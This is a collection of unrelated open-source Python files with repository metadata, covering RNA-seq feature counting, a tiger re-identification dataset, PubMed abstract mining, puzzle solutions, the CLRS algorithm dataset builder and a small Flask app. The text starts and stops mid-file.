prev_down_time\n\t\t\telse:\n\t\t\t\tcurr_releasedn = 0.0\n\t\t\tvars()[self.event_name] = key(self.event_name, curr_hold, curr_releasedn)\n\t\t\tkey_dict[curr_count] = vars()[self.event_name]\n\t\t\tdel vars()[self.event_name]\n\n\t\t\tif self.event_name == 'Space':\n\t\t\t\tdicti.enter(key_dict)\n\t\t\t\tkey_dict.clear()\n\n\n\n\n#Sample codes starts here with test inputs and printing fucntion - can be used for debugging\n\n\nif __name__ == '__main__':\n\tprint('make enough changes in the main file and create the data for this session')","repo_name":"hhsecond/typer-s","sub_path":"lcore.py","file_name":"lcore.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"15140274104","text":"import os\nimport shutil\nimport sys\nfrom time import sleep\nfrom pathlib import Path\nfrom typing import Optional, Tuple\n\nfrom snakemake.logging import logger\nfrom snakemake.shell import shell\nimport pandas as pd\nimport numpy as np\n\nsys.path.insert(0, \"../src\")\nfrom ncbi_remap.io import remove_folder, remove_file\nfrom ncbi_remap.snakemake import StepLogger\nfrom ncbi_remap.parser import parse_featureCounts_counts, parse_featureCounts_jcounts\n\n\nLOG = StepLogger(str(snakemake.log))\nSRX = snakemake.wildcards.srx\nTHREADS = snakemake.threads\n\nTMPDIR = Path(os.getenv(\"TMPDIR\", \"/tmp\"), f\"{SRX}/{snakemake.rule}\")\nTMPDIR.mkdir(parents=True, exist_ok=True)\n\nTMPREF = Path(os.getenv(\"TMPDIR\", \"/tmp\"), f\"references\")\nTMPREF.mkdir(exist_ok=True)\n\n\ndef main():\n bam, gtf = stage_data(snakemake.input.bam, snakemake.input.gtf)\n counts, jcounts = featurecount(bam, gtf, snakemake.input.layout, snakemake.input.strand)\n\n process_counts(counts, snakemake.output.counts)\n process_jcounts(jcounts, snakemake.output.get(\"jcounts\"))\n\n\ndef stage_data(bam: str, gtf: str) -> Tuple[Path, Path]:\n # Copy Bam\n bam_local = TMPDIR / f\"{SRX}.bam\"\n shutil.copy2(bam, bam_local)\n\n # Stage GTF if not present\n gtf_local = TMPREF / Path(gtf).name\n if gtf_local.exists():\n # Already on scratch wait to make sure copied\n sleep(5)\n else:\n shutil.copy(gtf, gtf_local)\n\n return bam_local, gtf_local\n\n\ndef featurecount(bam: Path, gtf: Path, layout: str, strand: str) -> Tuple[Path, Path]:\n # Look up Layout\n layout_ = pd.read_parquet(layout).layout[0]\n if layout_ == \"PE\":\n params = snakemake.params.extra_pe\n else:\n params = snakemake.params.extra_se\n\n # Look up strand\n strand_ = pd.read_parquet(strand).strand[0]\n if strand_ == \"same_strand\":\n params += \"-s 1\"\n elif strand_ == \"opposite_strand\":\n params += \"-s 2\"\n else:\n params += \"-s 0\"\n\n counts = TMPDIR / f\"{SRX}.counts\"\n jcounts = TMPDIR / f\"{SRX}.counts.jcounts\"\n summary = TMPDIR / f\"{SRX}.counts.summary\"\n log = TMPDIR / f\"featurecounts.log\"\n\n try:\n shell(f\"featureCounts -T {THREADS} {params} -a {gtf} -o {counts} {bam} > {log} 2>&1\")\n finally:\n LOG.append(\"Feature Counts\", log)\n\n _check_log(log)\n remove_file(log)\n remove_file(summary)\n\n return counts, jcounts\n\n\ndef _check_log(log: Path):\n with log.open() as fh:\n log_text = fh.read()\n if not (\n \"Read assignment finished\" in log_text or \"Summary of counting results\" in log_text\n ):\n raise FeatureCountsException(f\"{log.stem} not complete\")\n\n\ndef process_counts(counts: Path, output_file: str) -> None:\n df = parse_featureCounts_counts(counts, SRX)\n df.to_parquet(output_file)\n\n\ndef process_jcounts(jcounts: Path, output_file: Optional[str]) -> None:\n if not output_file:\n return\n\n df = parse_featureCounts_jcounts(jcounts, SRX)\n df.to_parquet(output_file)\n\n\nclass FeatureCountsException(Exception):\n \"\"\"Fastq Screen Processing Exception\"\"\"\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except FeatureCountsException as error:\n logger.warning(f\"{SRX}: {error}\")\n LOG.append(\"Exception\", text=error)\n\n raise SystemExit\n finally:\n remove_folder(TMPDIR)\n","repo_name":"jfear/ncbi_remap","sub_path":"rnaseq-wf/scripts/featurecounts.py","file_name":"featurecounts.py","file_ext":"py","file_size_in_byte":3310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"42080901046","text":"import os\nimport argparse\nimport random\n\nimport torch\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torchvision.transforms as T\nimport torchvision.utils as vutils\nfrom PIL import Image\nfrom torch.utils.data import Dataset, DataLoader\n\nMEAN = [0.485, 0.456, 0.406]\nSTD = [0.229, 0.224, 0.225]\nSIZE = [512, 512]\nDEGREE = 10\nBRIGHT_PROB = 0.2\nSATURA_PROB = 0.2\nCONTRAST_PROB = 0.2\nHUE_PROB = 0.2\nPADDING = 10\n\nRE_PROB = 0.5\n\n\nclass ImageDataset(Dataset):\n def __init__(\n self,\n image_path,\n label_path,\n gallery_path=None,\n train=True,\n transform=None,\n with_label=True,\n ):\n self.train = train\n self.with_label = with_label\n self.image_path = image_path\n self.label_path = label_path\n if self.with_label:\n self.label = pd.read_csv(\n self.label_path, header=None, names=[\"id\", \"img_file\"]\n )\n else:\n self.label = pd.read_csv(self.label_path, header=None, names=[\"img_file\"])\n\n if not self.train:\n self.gallery_path = gallery_path\n else:\n # id remapping\n self.id2idx = {}\n for idx, id in enumerate(self.label.id.unique()):\n self.id2idx[id] = idx\n self.idx2id = {v: k for k, v in self.id2idx.items()}\n self.label.id = self.label.id.apply(lambda x: self.id2idx[x])\n\n if transform is not None:\n self.transform = transform\n else:\n if self.train:\n self.transform = T.Compose(\n [\n T.Resize(SIZE),\n T.RandomRotation(DEGREE),\n T.ColorJitter(\n brightness=BRIGHT_PROB,\n saturation=SATURA_PROB,\n contrast=CONTRAST_PROB,\n hue=HUE_PROB,\n ),\n # T.RandomHorizontalFlip(0.5),\n T.Pad(PADDING),\n T.RandomCrop(SIZE),\n T.ToTensor(),\n # RandomErasing(probability=RE_PROB, mean=MEAN),\n T.Normalize(MEAN, STD),\n ]\n )\n else:\n self.transform = T.Compose(\n [T.Resize(SIZE), T.ToTensor(), T.Normalize(MEAN, STD)]\n )\n\n def __len__(self):\n return self.label.shape[0]\n\n def __getitem__(self, index):\n path = os.path.join(self.image_path, self.label.iloc[index].img_file)\n image = Image.open(path)\n image = self.transform(image)\n\n if self.with_label:\n label = torch.tensor(self.label.iloc[index].id, dtype=torch.long)\n return {\"images\": image, \"labels\": label}\n else:\n return {\"images\": image}\n\n def get_num_classes(self):\n return len(self.id2idx)\n\n def get_gallery(self):\n if self.with_label:\n data = pd.read_csv(self.gallery_path, header=None, names=[\"id\", \"img_file\"])\n labels = torch.from_numpy(data.id.values)\n images = []\n for image in data.img_file:\n image = Image.open(os.path.join(self.image_path, image))\n image = self.transform(image)\n images.append(image)\n images = torch.stack(images)\n return {\n \"images\": images,\n \"labels\": labels,\n \"img_paths\": data.img_file.values,\n }\n else:\n data = pd.read_csv(self.gallery_path, header=None, names=[\"img_file\"])\n images = []\n for image in data.img_file:\n image = Image.open(os.path.join(self.image_path, image))\n image = self.transform(image)\n images.append(image)\n images = torch.stack(images)\n return {\"images\": images, \"img_paths\": data.img_file.values}\n\n\nclass PairwiseImageDataset(Dataset):\n def __init__(self, image_path, label_path, transform=None):\n self.image_path = image_path\n self.label_path = label_path\n self.label = pd.read_csv(self.label_path, header=None, names=[\"id\", \"img_file\"])\n\n # id remapping\n self.id2idx = {}\n for idx, id in enumerate(self.label.id.unique()):\n self.id2idx[id] = idx\n self.idx2id = {v: k for k, v in self.id2idx.items()}\n self.label.id = self.label.id.apply(lambda x: self.id2idx[x])\n\n # use for getting reference image\n self.same_id_pool = {}\n for idx in range(self.label.shape[0]):\n curr_id = self.label.iloc[idx].id\n if curr_id not in self.same_id_pool:\n self.same_id_pool[curr_id] = []\n self.same_id_pool[curr_id].append(self.label.iloc[idx].img_file)\n\n if transform is not None:\n self.transform = transform\n else:\n self.transform = T.Compose(\n [\n T.Resize(SIZE),\n T.RandomRotation(DEGREE),\n T.ColorJitter(\n brightness=BRIGHT_PROB,\n saturation=SATURA_PROB,\n contrast=CONTRAST_PROB,\n hue=HUE_PROB,\n ),\n T.Pad(PADDING),\n T.RandomCrop(SIZE),\n T.ToTensor(),\n T.Normalize(MEAN, STD),\n ]\n )\n\n def __len__(self):\n return self.label.shape[0]\n\n def __getitem__(self, index):\n path = os.path.join(self.image_path, self.label.iloc[index].img_file)\n image = Image.open(path)\n image = self.transform(image)\n\n # Get the another image of the same tiger\n std_label = self.label.iloc[index].id\n candidates = self.same_id_pool[std_label]\n while True:\n lucky_num = random.randrange(0, len(candidates))\n if candidates[lucky_num] != self.label.iloc[index].img_file:\n path = os.path.join(self.image_path, candidates[lucky_num])\n ref_image = Image.open(path)\n ref_image = self.transform(ref_image)\n\n break\n\n label = torch.tensor(self.label.iloc[index].id, dtype=torch.long)\n\n # return image, ref_image, label\n return {\"images\": image, \"ref_images\": ref_image, \"labels\": label}\n\n def get_num_classes(self):\n return len(self.id2idx)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Tiger Re-ID dataset.\")\n parser.add_argument(\"image_dir\", type=str, help=\"Path to image directory.\")\n parser.add_argument(\"label_path\", type=str, help=\"Path to label file.\")\n parser.add_argument(\"--gallery\", type=str, help=\"Path to gallery file.\")\n parser.add_argument(\n \"--test\", action=\"store_false\", help=\"Whether dataset is train or test.\"\n )\n parser.add_argument(\"--batch_size\", type=int, default=64, help=\"Batch size.\")\n parser.add_argument(\"--num_worker\", type=int, default=0, help=\"Number of worker.\")\n\n args = parser.parse_args()\n\n # Image Dataset\n dataset = ImageDataset(\n args.image_dir, args.label_path, train=args.test, gallery_path=args.gallery\n )\n dataloader = DataLoader(\n dataset, shuffle=False, batch_size=args.batch_size, num_workers=args.num_worker\n )\n\n data = next(iter(dataloader))\n plt.figure(figsize=(8, 8))\n plt.axis(\"off\")\n plt.title(\"Training Images\")\n plt.imshow(\n np.transpose(\n vutils.make_grid(\n data[\"images\"].to(\"cpu\")[:64], padding=2, normalize=True\n ).cpu(),\n (1, 2, 0),\n ),\n )\n plt.savefig(os.path.join(\"./\", \"example.png\"))\n plt.close()\n\n # Pairwise Dataset\n dataset = PairwiseImageDataset(args.image_dir, args.label_path)\n dataloader = DataLoader(\n dataset,\n shuffle=False,\n batch_size=args.batch_size // 2,\n num_workers=args.num_worker,\n )\n\n data = next(iter(dataloader))\n data = torch.cat([data[\"images\"], data[\"ref_images\"]], dim=0)\n plt.figure(figsize=(8, 8))\n plt.axis(\"off\")\n plt.title(\"Training Images\")\n plt.imshow(\n np.transpose(\n vutils.make_grid(data.to(\"cpu\")[:64], padding=2, normalize=True).cpu(),\n (1, 2, 0),\n ),\n )\n plt.savefig(os.path.join(\"./\", \"example2.png\"))\n plt.close()\n","repo_name":"itsmystyle/DLCV2019Fall-Tiger-Re-Identification","sub_path":"module/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":8512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"4831338686","text":"import requests\r\nimport xml.etree.ElementTree as ET\r\nimport pandas as pd\r\nimport numpy as np\r\nimport re\r\nfrom indra.literature.pubmed_client import get_abstract\r\nfrom sys import argv\r\nfrom random import random\r\nfrom time import sleep\r\n\r\ndef get_abstracts ():\r\n '''\r\n gets a list of pubmed ids for each topic in a .txt file. max_articles is the number of\r\n abstracts to retrieve.\r\n\r\n usage: python abstract_mining.py <max_articles> <path_to_topics_txt>\r\n\r\n 1. For the search topics, a list of urls is generated then each iem is requested \r\n via the pubmed api. This generates a list of <max_articles> pubmed IDs.\r\n 2. Then, each ID is used with indra.literature.pubmed_client module to get abstracts\r\n The results are saved in one scv by topic and one csv with the merged topics.\r\n '''\r\n\r\n max_articles = int(argv[1])\r\n path_to_topics_txt = argv[2]\r\n\r\n # Read and list topics\r\n f = open(path_to_topics_txt, 'r')\r\n topics = f.read().split(\",\")\r\n f.close()\r\n\r\n # List corresponding urls\r\n urls = []\r\n for topic in topics:\r\n sleep(np.random.random()+1)\r\n try:\r\n # you may add \"&apikey=<your-pubmed-api-key>\" to the request\r\n url = f\"https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi?db=pmc&term={topic.replace(' ','+')}&retmax={max_articles}\"\r\n urls.append(url)\r\n except:\r\n print(f\"ERROR: Could not process {topic}\")\r\n df_list = []\r\n # 1. Each url is associate with a topic\r\n for url in urls:\r\n topic = re.findall(r\"&term=(.+)&retmax\", url)[0]\r\n # Request and list pubmed Ids\r\n xml = requests.get(url).content\r\n sleep(np.random.random()*0.4+0.01)\r\n root = ET.fromstring(xml)\r\n id_list = []\r\n for i in range(max_articles):\r\n id_list.append(root[3][i].text)\r\n \r\n # 2. Get abstract for each pubmed_id\r\n record = []\r\n count = 0\r\n for pubmed_id in id_list:\r\n sleep(np.random.random()*0.4+0.01)\r\n tmp = []\r\n titled_abstract = None\r\n abstract = None\r\n try:\r\n abstract = get_abstract(pubmed_id, prepend_title=True)\r\n if abstract:\r\n tmp.append(pubmed_id)\r\n tmp.append(abstract)\r\n tmp.append(topic.replace(\"+\", \" \"))\r\n record.append(tmp)\r\n count = count + 1\r\n except:\r\n pass\r\n \r\n print(f\"{count} abstracts retrieved for {url}. Saving to csv.\")\r\n \r\n # Create and save dataframe to csv \r\n cols = [\"pubmed_id\", \"abstract\", \"topic\"]\r\n df = pd.DataFrame.from_records(record, columns=cols, index=None)\r\n df_list.append(df)\r\n df.to_csv(f\"{topic}_abstracts.csv\", index=False)\r\n\r\n merged = pd.concat(df_list, axis=0, ignore_index=True)\r\n merged.to_csv(\"merged.csv\", index=False)\r\nif __name__== \"__main__\" :\r\n get_abstracts()","repo_name":"rapaperro88/WL_PDF","sub_path":"data_mining/abstract_mining.py","file_name":"abstract_mining.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"13390076657","text":"import re\nfrom collections import deque\n\np = re.compile(\"Valve (..).*=(\\d+);.*valves? (.*)\")\n\nrates = {}\nadj = {}\nfor line in open(\"input\"):\n cur, rate, paths = p.match(line).groups()\n rates[cur] = int(rate)\n adj[cur] = paths.split(\", \")\n\n# # dot\n# print(\"strict graph D {\")\n# for v, paths in adj.items():\n# # if not rates[v]:\n# # print(v, '[style=\"invis\"]')\n# print(v, \"--\", f' {{{\" \".join(paths)}}} ')\n# print(\"}\")\n# import sys; sys.exit()\n\n# is there a better way than BFS from every node?\n# is repeatedly squaring the adjacency matrix cheaper?\ndists = {}\nfor v in rates:\n if not rates[v] and v != \"AA\":\n continue\n visited = {v}\n q = deque([(n, 1) for n in adj[v]])\n costs = {}\n while q:\n cur, cost = q.popleft()\n visited.add(cur)\n if rates[cur]:\n costs[cur] = cost\n for n in adj[cur]:\n if n not in visited:\n q.append((n, cost + 1))\n dists[v] = costs\n\n# # dot\n# print(\"strict graph D {\")\n# print('layout=\"circo\"')\n# for v, paths in dists.items():\n# for p,weight in paths.items():\n# if weight == 1:\n# print(v, \"--\", p)\n# else:\n# print(v, \"--\", p, f'[label=\"{weight}\"]')\n# print(\"}\")\n# import sys; sys.exit()\n\n\ndef solve(cur, time, score, opened):\n # print(cur, time, score, opened)\n best = score\n for n, dist in dists[cur].items():\n if n in opened or dist >= time - 1:\n continue\n t = time - dist - 1\n best = max(best, solve(n, t, score + t * rates[n], opened | {n}))\n return best\n\n\nprint(solve(\"AA\", 30, 0, {\"AA\"}))\n\n\ndef double(me_t, me, el_t, el, time, score, to_open):\n if not time:\n return score\n score += time * (rates[me] * (not me_t) + rates[el] * (not el_t))\n best = score\n t = time - 1\n if not me_t:\n for v in to_open:\n if dists[me][v] >= t:\n continue\n new = to_open - {v}\n if not el_t:\n for n in new:\n if dists[el][n] >= t:\n continue\n tmp = double(dists[me][v], v, dists[el][n], n, t, score, new - {n})\n best = max(tmp, best)\n else:\n tmp = double(dists[me][v], v, el_t - 1, el, t, score, new)\n best = max(tmp, best)\n elif not el_t:\n for v in to_open:\n if dists[el][v] >= t:\n continue\n new = to_open - {v}\n tmp = double(me_t - 1, me, dists[el][v], v, t, score, new)\n best = max(tmp, best)\n best = max(best, double(me_t - 1, me, el_t - 1, el, t, score, to_open))\n return best\n\n\nprint(double(0, \"AA\", 0, \"AA\", 26, 0, set(dists) - {\"AA\"}))\n","repo_name":"P1n3appl3/AoC","sub_path":"2022/16/ProboscideaVolcanium.py","file_name":"ProboscideaVolcanium.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72283312860","text":"from collections import defaultdict\nfrom math import ceil\n\ndef three_sum_brute_force(nums: list) -> list:\n nums.sort()\n rec = set()\n res = []\n\n for i in range(len(nums)):\n for j in range(i + 1, len(nums)):\n for k in range(j + 1, len(nums)):\n sum = nums[i] + nums[j] + nums[k]\n if sum == 0 and (nums[i], nums[j], nums[k]) not in rec:\n rec.add((nums[i], nums[j], nums[k]))\n res.append([nums[i], nums[j], nums[k]])\n\n return res\n\n\ndef three_sum(nums: list) -> list:\n results = []\n\n element_count = defaultdict(int)\n while nums:\n v = nums.pop()\n element_count[v] += 1\n\n keys = sorted(element_count.keys())\n\n for l in keys:\n if l > 0:\n break\n elif l == 0:\n if element_count[0] >= 3:\n results.append([0, 0, 0])\n else:\n search_lower_bound = ceil(abs(l) / 2)\n search_upper_bound = 2 * abs(l)\n\n for idx in range(1, len(keys) + 1):\n r = keys[-idx]\n if r > search_upper_bound: continue\n elif r < search_lower_bound: break\n else:\n m = 0 - (l + r)\n if m in element_count:\n r_count = element_count[r]\n m_count = element_count[m]\n if (\n (l == m and m_count >= 2) or\n (m == r and r_count >= 2) or\n (l != m and m != r)\n ):\n results.append([l, m, r])\n\n return results\n","repo_name":"UsmanAJabbar/DSA","sub_path":"3_sum.py","file_name":"3_sum.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"38140562147","text":"import dataclasses\n\nimport functools\nfrom typing import Iterator\n\nfrom clrs._src import probing\nfrom clrs._src import samplers\nfrom clrs._src import specs\n\nimport jax\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_datasets as tfds\n\n\ndef _correct_axis_filtering(tensor, index, name):\n if 'hint_' in name:\n return tensor[:, index]\n else:\n return tensor[index]\n\n\n@dataclasses.dataclass\nclass CLRSConfig(tfds.core.BuilderConfig):\n \"\"\"Specify the split in the variant because they have different shapes.\"\"\"\n split: str = ''\n\n\nDEFAULT_BUILDER_CONFIGS = []\n\n\ndef _build_default_builder_configs():\n for split in ['train', 'val', 'test']:\n for alg in specs.CLRS_30_ALGS:\n DEFAULT_BUILDER_CONFIGS.append(\n CLRSConfig(name=f'{alg}_{split}', split=split))\n\n\n_build_default_builder_configs()\n\n\nclass CLRSDataset(tfds.core.GeneratorBasedBuilder):\n \"\"\"DatasetBuilder for my_dataset dataset.\"\"\"\n\n VERSION = tfds.core.Version('1.0.0')\n RELEASE_NOTES = {\n '1.0.0': 'Initial release.',\n }\n BUILDER_CONFIGS = DEFAULT_BUILDER_CONFIGS\n\n _instantiated_dataset = None\n _instantiated_dataset_name = ''\n _instantiated_dataset_split = ''\n\n def _num_samples(self, algorithm_name):\n num_samples = samplers.CLRS30[self._builder_config.split]['num_samples'] # pytype: disable=attribute-error # always-use-return-annotations\n if self._builder_config.split != 'train': # pytype: disable=attribute-error # always-use-return-annotations\n # Generate more samples for those algorithms in which the number of\n # signals is small.\n num_samples *= specs.CLRS_30_ALGS_SETTINGS[algorithm_name][\n 'num_samples_multiplier']\n return num_samples\n\n def _create_data(self, single_sample):\n algorithm_name = '_'.join(self._builder_config.name.split('_')[:-1])\n num_samples = self._num_samples(algorithm_name)\n sampler, _ = samplers.build_sampler(\n algorithm_name,\n seed=samplers.CLRS30[self._builder_config.split]['seed'], # pytype: disable=attribute-error # always-use-return-annotations\n num_samples=num_samples,\n length=samplers.CLRS30[self._builder_config.split]['length'], # pytype: disable=attribute-error # always-use-return-annotations\n )\n sampled_dataset = sampler.next(batch_size=1 if single_sample else None)\n data = {'input_' + t.name: t.data for t in sampled_dataset.features.inputs}\n # All other data points have input_, hint_, and output_ prefixes, so we\n # guarantee that this key is unused.\n data['lengths'] = sampled_dataset.features.lengths\n data.update({'output_' + t.name: t.data for t in sampled_dataset.outputs})\n data.update({\n 'hint_' + t.name: t.data for t in sampled_dataset.features.hints})\n self._instantiated_dataset = data\n\n def _info(self) -> tfds.core.DatasetInfo:\n if tf.io.gfile.exists(self.data_dir):\n info = tfds.core.DatasetInfo(builder=self)\n info.read_from_directory(self.data_dir)\n return info\n\n if (self._instantiated_dataset_name != self._builder_config.name\n or self._instantiated_dataset_split != self._builder_config.split): # pytype: disable=attribute-error # always-use-return-annotations\n self._create_data(single_sample=True)\n\n data = {k: _correct_axis_filtering(v, 0, k)\n for k, v in self._instantiated_dataset.items()}\n data_info = {\n k: tfds.features.Tensor(shape=v.shape, dtype=tf.dtypes.as_dtype(\n v.dtype)) for k, v in data.items()}\n return tfds.core.DatasetInfo(\n builder=self,\n features=tfds.features.FeaturesDict(data_info),\n )\n\n def _split_generators(self, dl_manager: tfds.download.DownloadManager):\n \"\"\"Download the data and define splits.\"\"\"\n if (self._instantiated_dataset_name != self._builder_config.name\n or self._instantiated_dataset_split != self._builder_config.split): # pytype: disable=attribute-error # always-use-return-annotations\n self._create_data(single_sample=False)\n self._instantiated_dataset_name = self._builder_config.name\n self._instantiated_dataset_split = self._builder_config.split # pytype: disable=attribute-error # always-use-return-annotations\n return {self._builder_config.split: self._generate_examples()} # pytype: disable=attribute-error # always-use-return-annotations\n\n def _generate_examples(self):\n \"\"\"Generator of examples for each split.\"\"\"\n algorithm_name = '_'.join(self._builder_config.name.split('_')[:-1])\n for i in range(self._num_samples(algorithm_name)):\n data = {k: _correct_axis_filtering(v, i, k)\n for k, v in self._instantiated_dataset.items()}\n yield str(i), data\n\n\ndef _get_clrs_file_name():\n return f'CLRS30_v{CLRSDataset.VERSION}.tar.gz'\n\n\ndef get_dataset_gcp_url():\n return f'https://storage.googleapis.com/dm-clrs/{_get_clrs_file_name()}'\n\n\ndef get_clrs_folder():\n return f'CLRS30_v{CLRSDataset.VERSION}'\n\n\ndef _preprocess(data_point, algorithm=None):\n \"\"\"Convert sampled inputs into DataPoints.\"\"\"\n inputs = []\n outputs = []\n hints = []\n lengths = None\n\n for name, data in data_point.items():\n if name == 'lengths':\n lengths = data\n continue\n data_point_name = name.split('_')\n name = '_'.join(data_point_name[1:])\n (stage, location, dp_type) = specs.SPECS[algorithm][name]\n assert stage == data_point_name[0]\n if stage == specs.Stage.HINT:\n data = tf.experimental.numpy.swapaxes(data, 0, 1)\n dp = probing.DataPoint(name, location, dp_type, data)\n if stage == specs.Stage.INPUT:\n inputs.append(dp)\n elif stage == specs.Stage.OUTPUT:\n outputs.append(dp)\n else:\n hints.append(dp)\n return samplers.Feedback(\n samplers.Features(tuple(inputs), tuple(hints), lengths), tuple(outputs))\n\n\ndef create_dataset(folder, algorithm, split, batch_size):\n dataset = tfds.load(f'clrs_dataset/{algorithm}_{split}',\n data_dir=folder, split=split)\n num_samples = len(dataset) # Must be done here for correct size\n dataset = dataset.repeat()\n dataset = dataset.batch(batch_size)\n return (dataset.map(lambda d: _preprocess(d, algorithm=algorithm)),\n num_samples,\n specs.SPECS[algorithm])\n\n\ndef _copy_hint(source, dest, i, start_source, start_dest, to_add):\n \"\"\"Copy from full-sample hint to a hint chunk.\"\"\"\n assert np.all(dest[start_dest:, i:] == 0)\n assert start_dest < dest.shape[0]\n assert start_dest + to_add <= dest.shape[0]\n assert start_source < source.shape[0]\n assert start_source + to_add <= source.shape[0]\n dest[start_dest:start_dest+to_add, i] = source[\n start_source:start_source+to_add, i]\n return dest\n\n\ndef _copy_io(source, dest, i, start_dest, to_add):\n \"\"\"Copy from an input or output to an input or output chunk.\"\"\"\n assert np.all(dest[start_dest:, i:] == 0)\n dest[start_dest:start_dest+to_add, i] = source[i]\n return dest\n\n\ndef chunkify(dataset: Iterator[samplers.Feedback], chunk_length: int):\n \"\"\"Generator of fixed-length chunks from full-trajectory samples.\n\n Args:\n dataset: full-sample dataset as numpy iterator.\n chunk_length: time length of chunks.\n Yields:\n Fixed-timelength chunks of data. Each tensor of inputs, hints and outputs\n has dimensions chunk_length x batch_size x ... Samples are not time-padded,\n after the end of one sample immediately comes the next. Since different\n samples can have different time lengths, the beginnings and ends of samples\n within a batch do not need to coincide. For this reason, the chunked\n dataset features include two chunk_length x batch_size int tensors,\n `is_first` and `is_last`, that mark the beginning and end of each sample.\n For example, if `chunk_legnth`==6 and `batch_size`==2 and the first\n full-sample batch had one sample of length 3 and one of length 5,\n we would have a first chunked batch with the following `is_first` and\n `is_last` tensors:\n\n is_first = [[1, 1] is_last = [[0, 0] ( sample id [[0 1]\n [0, 0] [0, 0] [0 1]\n [0, 0] [1, 0] [0 1]\n [1, 0] [0, 0] [2 1]\n [0, 0] [0, 1] [2 1]\n [0, 1]] [0, 0]] [2 3]] )\n\n while the data in the inputs, outputs and hints tensors would correspond\n to samples as identified by the sample_id indicated above for reference.\n Notice that, while in the full-sample dataset inputs and outputs have\n no time dimension, here they do; the input and output tensors are simply\n repeated along each sample's time length.\n \"\"\"\n def _get_batch():\n d = next(dataset)\n return (d.features.inputs, d.features.hints, d.outputs,\n d.features.lengths.astype(int))\n\n inputs, hints, outputs, lengths = _get_batch()\n for inp in inputs:\n if inp.location in [specs.Location.NODE, specs.Location.EDGE]:\n batch_size = inp.data.shape[0]\n break\n\n io_chunk = lambda x: np.zeros((chunk_length,) + x.shape, dtype=x.dtype)\n chunk_inputs = jax.tree_util.tree_map(io_chunk, inputs)\n chunk_outputs = jax.tree_util.tree_map(io_chunk, outputs)\n\n hint_chunk = lambda x: np.zeros((chunk_length,) + x.shape[1:], dtype=x.dtype)\n chunk_hints = jax.tree_util.tree_map(hint_chunk, hints)\n\n inputs = [inputs]\n hints = [hints]\n outputs = [outputs]\n left = [lengths.copy()]\n lengths = [lengths.copy()]\n\n while True:\n # Create a new empty chunk\n chunk_inputs = jax.tree_util.tree_map(np.zeros_like, chunk_inputs)\n chunk_hints = jax.tree_util.tree_map(np.zeros_like, chunk_hints)\n chunk_outputs = jax.tree_util.tree_map(np.zeros_like, chunk_outputs)\n start_mark = np.zeros((chunk_length, batch_size), dtype=int)\n end_mark = np.zeros((chunk_length, batch_size), dtype=int)\n\n # Get enough data batches to fill the new chunk\n while np.any(np.sum(left, axis=0) < chunk_length):\n inp, hh, out, ll = _get_batch()\n inputs.append(inp)\n hints.append(hh)\n outputs.append(out)\n left.append(ll.copy())\n lengths.append(ll.copy())\n\n # Fill the chunk, one batch element at a time\n for i in range(batch_size):\n total, idx = 0, 0\n while total < chunk_length:\n to_add = min(left[idx][i], chunk_length - total)\n if to_add:\n start = lengths[idx][i] - left[idx][i]\n assert start >= 0\n f_io = functools.partial(_copy_io, i=i, start_dest=total,\n to_add=to_add)\n chunk_inputs = jax.tree_util.tree_map(f_io, inputs[idx], chunk_inputs)\n chunk_outputs = jax.tree_util.tree_map(f_io, outputs[idx],\n chunk_outputs)\n f_hint = functools.partial(_copy_hint, i=i, start_source=start,\n start_dest=total, to_add=to_add)\n chunk_hints = jax.tree_util.tree_map(f_hint, hints[idx], chunk_hints)\n if start == 0:\n start_mark[total, i] = 1\n total += to_add\n left[idx][i] -= to_add\n assert left[idx][i] >= 0\n if left[idx][i] == 0:\n end_mark[total - 1, i] = 1\n idx += 1\n assert total == chunk_length\n\n while left and np.all(left[0] == 0):\n inputs.pop(0)\n hints.pop(0)\n outputs.pop(0)\n left.pop(0)\n lengths.pop(0)\n\n yield samplers.Feedback(\n samplers.FeaturesChunked(chunk_inputs, chunk_hints,\n start_mark, end_mark),\n chunk_outputs)\n\n\ndef create_chunked_dataset(folder, algorithm, split, batch_size, chunk_length):\n dataset = tfds.load(f'clrs_dataset/{algorithm}_{split}',\n data_dir=folder, split=split)\n dataset = dataset.repeat()\n dataset = dataset.batch(batch_size)\n dataset = dataset.map(lambda d: _preprocess(d, algorithm=algorithm))\n dataset = dataset.as_numpy_iterator()\n return chunkify(dataset, chunk_length), specs.SPECS[algorithm]\n","repo_name":"deepmind/clrs","sub_path":"clrs/_src/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":11979,"program_lang":"python","lang":"en","doc_type":"code","stars":307,"dataset":"github-code","pt":"69"} +{"seq_id":"6480755223","text":"# -*- coding: utf-8 -*-\n# import os\n# import sys\n\n# import click\nfrom flask import Flask, render_template\nfrom flask import url_for\n# from flask_sqlalchemy import SQLAlchemy\nfrom werkzeug.exceptions import HTTPException\n\napp = Flask(__name__)\n\nname = 'Grey Li'\nmovies = [\n {'title': 'My Neighbor Totoro', 'year': '1988'},\n {'title': 'Dead Poets Society', 'year': '1989'},\n {'title': 'A Perfect World', 'year': '1993'},\n {'title': 'Leon', 'year': '1994'},\n {'title': 'Mahjong', 'year': '1996'},\n {'title': 'Swallowtail Butterfly', 'year': '1996'},\n {'title': 'King of Comedy', 'year': '1999'},\n {'title': 'Devils on the Doorstep', 'year': '1999'},\n {'title': 'WALL-E', 'year': '2008'},\n {'title': 'The Pork of Music', 'year': '2012'},\n]\n\n@app.route('/index')\ndef index():\n return render_template('index.html',name=name,movies=movies)\n\n\n# SQLite URI compatible\n# WIN = 